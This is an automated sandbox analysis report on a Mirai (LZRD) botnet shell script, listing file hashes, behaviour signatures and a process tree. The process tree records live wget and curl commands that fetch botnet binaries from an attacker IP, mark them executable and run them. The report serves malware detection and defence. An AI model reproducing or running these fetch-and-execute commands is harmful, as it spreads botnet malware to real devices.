Overview

overview

10

Static

static

1

4c6c8e440a...621.sh

ubuntu-18.04-amd64

10

4c6c8e440a...621.sh

debian-9-armhf

10

4c6c8e440a...621.sh

debian-9-mips

10

4c6c8e440a...621.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28-11-2024 02:40

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General

  • Target

    4c6c8e440abf92183fe6f69a2623571374a64efdf1509a84f858495bf0ff6621.sh

  • Size

    1KB

  • MD5

    ea3e4ce3ad906187d77f71fd511caca5

  • SHA1

    1826d8941b0d1aaa76fdade685e66e31e3732399

  • SHA256

    4c6c8e440abf92183fe6f69a2623571374a64efdf1509a84f858495bf0ff6621

  • SHA512

    e9ac3561d6872982e7647f162635fe522c9abca8ca686d2f4853f62ae099c9b4a9f43076fc8f96ce2fc17d2dc02eb10067d811db34dc039c9a8761457830d9f7

Score
10/10
mirailzrdbotnetdefense_evasiondiscovery

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • Contacts a large (20371) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/4c6c8e440abf92183fe6f69a2623571374a64efdf1509a84f858495bf0ff6621.sh
    /tmp/4c6c8e440abf92183fe6f69a2623571374a64efdf1509a84f858495bf0ff6621.sh
    1⤵
    • Writes file to tmp directory
    PID:1484
    • /usr/bin/wget
      wget http://154.216.20.149/bins/byte.x86
      2⤵
      • Writes file to tmp directory
      PID:1485
    • /usr/bin/curl
      curl -O http://154.216.20.149/bins/byte.x86
      2⤵
      • Writes file to tmp directory
      PID:1490
    • /bin/cat
      cat byte.x86
      2⤵
        PID:1491
      • /bin/chmod
        chmod +x 4c6c8e440abf92183fe6f69a2623571374a64efdf1509a84f858495bf0ff6621.sh byte byte.x86 config-err-CgvOrA netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-o1EmX0
        2⤵
        • File and Directory Permissions Modification
        PID:1492
      • /tmp/byte
        ./byte byte.dvr
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Reads runtime system information
        PID:1493
      • /bin/rm
        rm -rf byte
        2⤵
          PID:1497
        • /usr/bin/wget
          wget http://154.216.20.149/bins/byte.mips
          2⤵
          • System Network Configuration Discovery
          PID:1503

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • /tmp/byte.x86
        Filesize

        95KB

        MD5

        34ef09c6bfa12c8bb0a4eb1111163f49

        SHA1

        374e5712df7fba870afd7c7897c5bc23ba205f61

        SHA256

        537907609ffc903d04b1aa5309d9bd02b95a31f343763ae83cd61f9c1b797438

        SHA512

        4aecdc6165268aa3a214581b5bb1311ebd17b9a7f573fc45a914fd3c1b7c38faffbe7ca21628ca37752417c8270a66fa34d544a4e315271f462dd31953bd902f

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